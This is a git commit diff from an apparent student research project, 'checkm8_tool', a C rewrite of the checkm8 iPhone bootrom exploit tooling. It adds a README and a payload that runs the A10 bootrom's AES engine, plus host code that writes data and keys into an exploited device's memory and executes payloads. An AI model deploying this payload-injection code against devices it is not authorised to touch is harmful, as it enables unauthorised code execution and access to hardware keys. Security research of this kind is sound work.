Attempted to get AES to work
This commit is contained in:
@@ -1,5 +1,5 @@
|
|||||||
cmake_minimum_required(VERSION 3.10)
|
cmake_minimum_required(VERSION 3.10)
|
||||||
project(ipwndfu_rewrite_c)
|
project(checkm8_tool)
|
||||||
enable_language(C)
|
enable_language(C)
|
||||||
|
|
||||||
include_directories(include)
|
include_directories(include)
|
||||||
|
|||||||
45
README
Normal file
45
README
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
~~~~~ checkm8_tool ~~~~~
|
||||||
|
|
||||||
|
This is the code for the optimized version of checkm8 that I wrote as a part of
|
||||||
|
this project. It consists of a variety of modules and was built to run on
|
||||||
|
Linux. It will probably not work on Windows or MacOS, although a port could
|
||||||
|
definitely be possible in the future.
|
||||||
|
|
||||||
|
checkm8_remote: the main executable generated by the project. It
|
||||||
|
includes various functionality for communicating with
|
||||||
|
and exploiting a device (currently, only iPhones with
|
||||||
|
an A10 chip are supported), including payload transfer
|
||||||
|
and execution. The main program is located in the
|
||||||
|
checkm8_remote/main.c file. It is currently configured
|
||||||
|
to install and run a basic AES payload.
|
||||||
|
|
||||||
|
checkm8_libusb: a userspace library for communicating with USB devices.
|
||||||
|
Currently this is unmodified from the standard release
|
||||||
|
of libusb1.0, but in future versions there will be
|
||||||
|
modifications to enable custom USB behavior.
|
||||||
|
|
||||||
|
checkm8_payloads: the custom payload functionality is defined in this
|
||||||
|
directory. To compile payloads, you need the
|
||||||
|
aarch64-linux-gnu toolchain to cross-compile binaries
|
||||||
|
for the iPhone platform.
|
||||||
|
|
||||||
|
~~~~~ Building ~~~~~
|
||||||
|
|
||||||
|
This project uses cmake as its build system. To build, simply do the following
|
||||||
|
commands in the project's root directory
|
||||||
|
|
||||||
|
mkdir build
|
||||||
|
cd build
|
||||||
|
cmake ..
|
||||||
|
make
|
||||||
|
|
||||||
|
~~~~~ Usage ~~~~~~
|
||||||
|
|
||||||
|
To run the checkm8-remote binary, simply run
|
||||||
|
|
||||||
|
./build/checkm8_remote/checkm8_remote
|
||||||
|
|
||||||
|
without any flags. Functionality is currently hardcoded to the AES payload, but
|
||||||
|
will be made more configurable in the future. Make sure that the target device
|
||||||
|
is in DFU mode before running the program.
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
enable_language(ASM)
|
project(checkm8_payloads ASM)
|
||||||
include_directories(include)
|
include_directories(include)
|
||||||
|
|
||||||
set(CMAKE_SYSTEM_PROCESSOR arm)
|
set(CMAKE_SYSTEM_PROCESSOR arm)
|
||||||
|
|||||||
Binary file not shown.
@@ -1 +0,0 @@
|
|||||||
<EFBFBD>?<03>u՟?<03><>?<03><>_<>
|
|
||||||
Binary file not shown.
@@ -3,6 +3,8 @@
|
|||||||
|
|
||||||
#include "brfunc_common.h"
|
#include "brfunc_common.h"
|
||||||
|
|
||||||
|
#define AES_HW_CRYPTO_CMD ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD)
|
||||||
|
|
||||||
#define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
|
#define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
|
||||||
#define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
|
#define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
|
||||||
#define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
|
#define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ typedef int (*BOOTROM_FUNC)();
|
|||||||
#if CHECKM8_PLATFORM == 8010
|
#if CHECKM8_PLATFORM == 8010
|
||||||
|
|
||||||
/* AES */
|
/* AES */
|
||||||
|
#define ADDR_AES_HW_CRYPTO_CMD 0x100000f0c
|
||||||
#define ADDR_CREATE_KEY_COMMAND 0x100000e90
|
#define ADDR_CREATE_KEY_COMMAND 0x100000e90
|
||||||
#define ADDR_PUSH_COMMAND_KEY 0x100000c64
|
#define ADDR_PUSH_COMMAND_KEY 0x100000c64
|
||||||
#define ADDR_PUSH_COMMAND_IV 0x100000d18
|
#define ADDR_PUSH_COMMAND_IV 0x100000d18
|
||||||
|
|||||||
@@ -14,23 +14,26 @@ int aes_hw_crypto_command(unsigned int cmd,
|
|||||||
void *iv)
|
void *iv)
|
||||||
{
|
{
|
||||||
int seeded;
|
int seeded;
|
||||||
|
long cgvar;
|
||||||
long start = 0, timeout = 0;
|
long start = 0, timeout = 0;
|
||||||
CLOCK_GATE(0x3C, 1);
|
|
||||||
|
|
||||||
seeded = DPA_SEEDED();
|
__asm__("orr %0, xzr, #0x3c" : "=r" (cgvar));
|
||||||
if(!seeded)
|
CLOCK_GATE(cgvar, 1);
|
||||||
{
|
|
||||||
SEP_CREATE_SEND_DPA_MESSAGE();
|
|
||||||
start = SYSTEM_TIME();
|
|
||||||
|
|
||||||
while(!seeded && !timeout)
|
// seeded = DPA_SEEDED();
|
||||||
{
|
// if(!(seeded & 1))
|
||||||
seeded = DPA_SEEDED();
|
// {
|
||||||
timeout = TIME_HAS_ELAPSED(start, 1000);
|
// SEP_CREATE_SEND_DPA_MESSAGE();
|
||||||
}
|
// start = SYSTEM_TIME();
|
||||||
}
|
//
|
||||||
|
// while(!(seeded & 1) && !(timeout & 1))
|
||||||
if(timeout) return -1;
|
// {
|
||||||
|
// seeded = DPA_SEEDED();
|
||||||
|
// timeout = TIME_HAS_ELAPSED(start, 1000);
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// if(timeout) return -1;
|
||||||
|
|
||||||
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
|
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
|
||||||
*rAES_INT_STATUS = 0x20;
|
*rAES_INT_STATUS = 0x20;
|
||||||
@@ -43,18 +46,14 @@ int aes_hw_crypto_command(unsigned int cmd,
|
|||||||
WAIT_FOR_COMMAND_FLAG();
|
WAIT_FOR_COMMAND_FLAG();
|
||||||
|
|
||||||
*rAES_CONTROL = 2;
|
*rAES_CONTROL = 2;
|
||||||
CLOCK_GATE(0x3C, 0);
|
CLOCK_GATE(cgvar, 0);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
TEXT_SECTION
|
TEXT_SECTION
|
||||||
int _start(unsigned int cmd,
|
int _start(void *src,
|
||||||
void *src,
|
|
||||||
void *dst,
|
void *dst,
|
||||||
int len,
|
void *key)
|
||||||
unsigned int opts,
|
|
||||||
void *key,
|
|
||||||
void *iv)
|
|
||||||
{
|
{
|
||||||
return aes_hw_crypto_command(cmd, src, dst, len, opts, key, iv);
|
return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0);
|
||||||
}
|
}
|
||||||
@@ -1,3 +1,5 @@
|
|||||||
|
project(checkm8_remote C)
|
||||||
|
|
||||||
set(CMAKE_C_STANDARD 99)
|
set(CMAKE_C_STANDARD 99)
|
||||||
set(CMAKE_C_FLAGS -g)
|
set(CMAKE_C_FLAGS -g)
|
||||||
|
|
||||||
|
|||||||
@@ -1 +1 @@
|
|||||||
/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_payloads/bin
|
/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_payloads/bin
|
||||||
@@ -4,7 +4,8 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdarg.h>
|
#include <stdarg.h>
|
||||||
#include <execinfo.h>
|
#include <execinfo.h>
|
||||||
#include <command.h>
|
#include <libusb_helpers.h>
|
||||||
|
#include "command.h"
|
||||||
|
|
||||||
void checkm8_debug_indent(const char *format, ...)
|
void checkm8_debug_indent(const char *format, ...)
|
||||||
{
|
{
|
||||||
@@ -46,23 +47,54 @@ int main()
|
|||||||
}
|
}
|
||||||
|
|
||||||
struct dev_cmd_resp *resp;
|
struct dev_cmd_resp *resp;
|
||||||
|
ret = install_payload(dev, PAYLOAD_SYNC, DRAM);
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
printf("Failed to install sync payload\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
install_payload(dev, PAYLOAD_SYNC, DRAM);
|
ret = install_payload(dev, PAYLOAD_AES, DRAM);
|
||||||
install_payload(dev, PAYLOAD_SYSREG, DRAM);
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
printf("Failed to install AES payload\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0);
|
resp = execute_payload(dev, PAYLOAD_SYNC, 0);
|
||||||
printf("payload sync execution got ret %i\n", resp->ret);
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
free_dev_cmd_resp(resp);
|
|
||||||
|
|
||||||
resp = execute_payload(dev, PAYLOAD_SYSREG, 0);
|
|
||||||
if(resp->ret == CHECKM8_SUCCESS)
|
|
||||||
{
|
{
|
||||||
long long evt_base = RESP_VALUE(resp->data, unsigned long long, 0);
|
printf("Failed to execute sync payload\n");
|
||||||
printf("got evt base %llx\n", evt_base);
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
resp = read_payload(dev, evt_base, 16);
|
unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||||
printf("%08llX %08llx %08llx",
|
0xef};
|
||||||
RESP_VALUE(resp->data, unsigned long long, 0),
|
unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||||
RESP_VALUE(resp->data, unsigned long long, 1));
|
0xef};
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
resp = write_payload(dev, 0x180152000, data, 16);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
printf("Failed to write AES data\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
resp = write_payload(dev, 0x180152010, key, 16);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
printf("Failed to write AES key\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
resp = execute_payload(dev, PAYLOAD_AES, 7, 16, 0x180152000, DFU_IMAGE_BASE + 56, 128, 0, 0x180152010, 0);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
printf("Failed to execute AES\n");
|
||||||
|
return -1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -249,6 +249,4 @@ struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr,
|
|||||||
memcpy(&cmd_args[40], data, len);
|
memcpy(&cmd_args[40], data, len);
|
||||||
|
|
||||||
return command(dev, (unsigned char *) &cmd_args, 40 + len, 1 * sizeof(unsigned long long));
|
return command(dev, (unsigned char *) &cmd_args, 40 + len, 1 * sizeof(unsigned long long));
|
||||||
|
|
||||||
return dev_memcpy(dev, addr, DFU_IMAGE_BASE + 40, len);
|
|
||||||
}
|
}
|
||||||
@@ -195,23 +195,25 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
|
|||||||
for(i = 0; i < nargs; i++)
|
for(i = 0; i < nargs; i++)
|
||||||
{
|
{
|
||||||
args[i + 1] = va_arg(arg_list, unsigned long long);
|
args[i + 1] = va_arg(arg_list, unsigned long long);
|
||||||
checkm8_debug_indent("\textracted arg %li\n", args[i + 1]);
|
checkm8_debug_indent("\textracted arg %lx\n", args[i + 1]);
|
||||||
}
|
}
|
||||||
va_end(arg_list);
|
va_end(arg_list);
|
||||||
|
|
||||||
resp = dev_exec(dev, 8, nargs + 1, args);
|
resp = dev_exec(dev, 16, nargs + 1, args);
|
||||||
release_device_bundle(dev);
|
release_device_bundle(dev);
|
||||||
return resp;
|
return resp;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int len)
|
struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int len)
|
||||||
{
|
{
|
||||||
|
checkm8_debug_indent("read_payload(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
|
||||||
int ret;
|
int ret;
|
||||||
struct dev_cmd_resp *resp;
|
struct dev_cmd_resp *resp;
|
||||||
|
|
||||||
ret = get_device_bundle(dev);
|
ret = get_device_bundle(dev);
|
||||||
if(IS_CHECKM8_FAIL(ret))
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
{
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to get device bundle\n");
|
||||||
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||||
resp->ret = ret;
|
resp->ret = ret;
|
||||||
return resp;
|
return resp;
|
||||||
@@ -224,12 +226,14 @@ struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int
|
|||||||
|
|
||||||
struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
||||||
{
|
{
|
||||||
|
checkm8_debug_indent("write_payload(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
|
||||||
int ret;
|
int ret;
|
||||||
struct dev_cmd_resp *resp;
|
struct dev_cmd_resp *resp;
|
||||||
|
|
||||||
ret = get_device_bundle(dev);
|
ret = get_device_bundle(dev);
|
||||||
if(IS_CHECKM8_FAIL(ret))
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
{
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to get device bundle\n");
|
||||||
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
resp = calloc(1, sizeof(struct dev_cmd_resp));
|
||||||
resp->ret = ret;
|
resp->ret = ret;
|
||||||
return resp;
|
return resp;
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
//#define LIBUSB_LOGGING
|
//#define LIBUSB_LOGGING
|
||||||
#define CHECKM8_LOGGING
|
#define CHECKM8_LOGGING
|
||||||
#define CHECKM8_PLATFORM 8010
|
#define CHECKM8_PLATFORM 8010
|
||||||
#define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/"
|
#define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_remote/bin/"
|
||||||
|
|
||||||
void checkm8_debug_indent(const char *format, ...);
|
void checkm8_debug_indent(const char *format, ...);
|
||||||
void checkm8_debug_block(const char *format, ...);
|
void checkm8_debug_block(const char *format, ...);
|
||||||
|
|||||||
Reference in New Issue
Block a user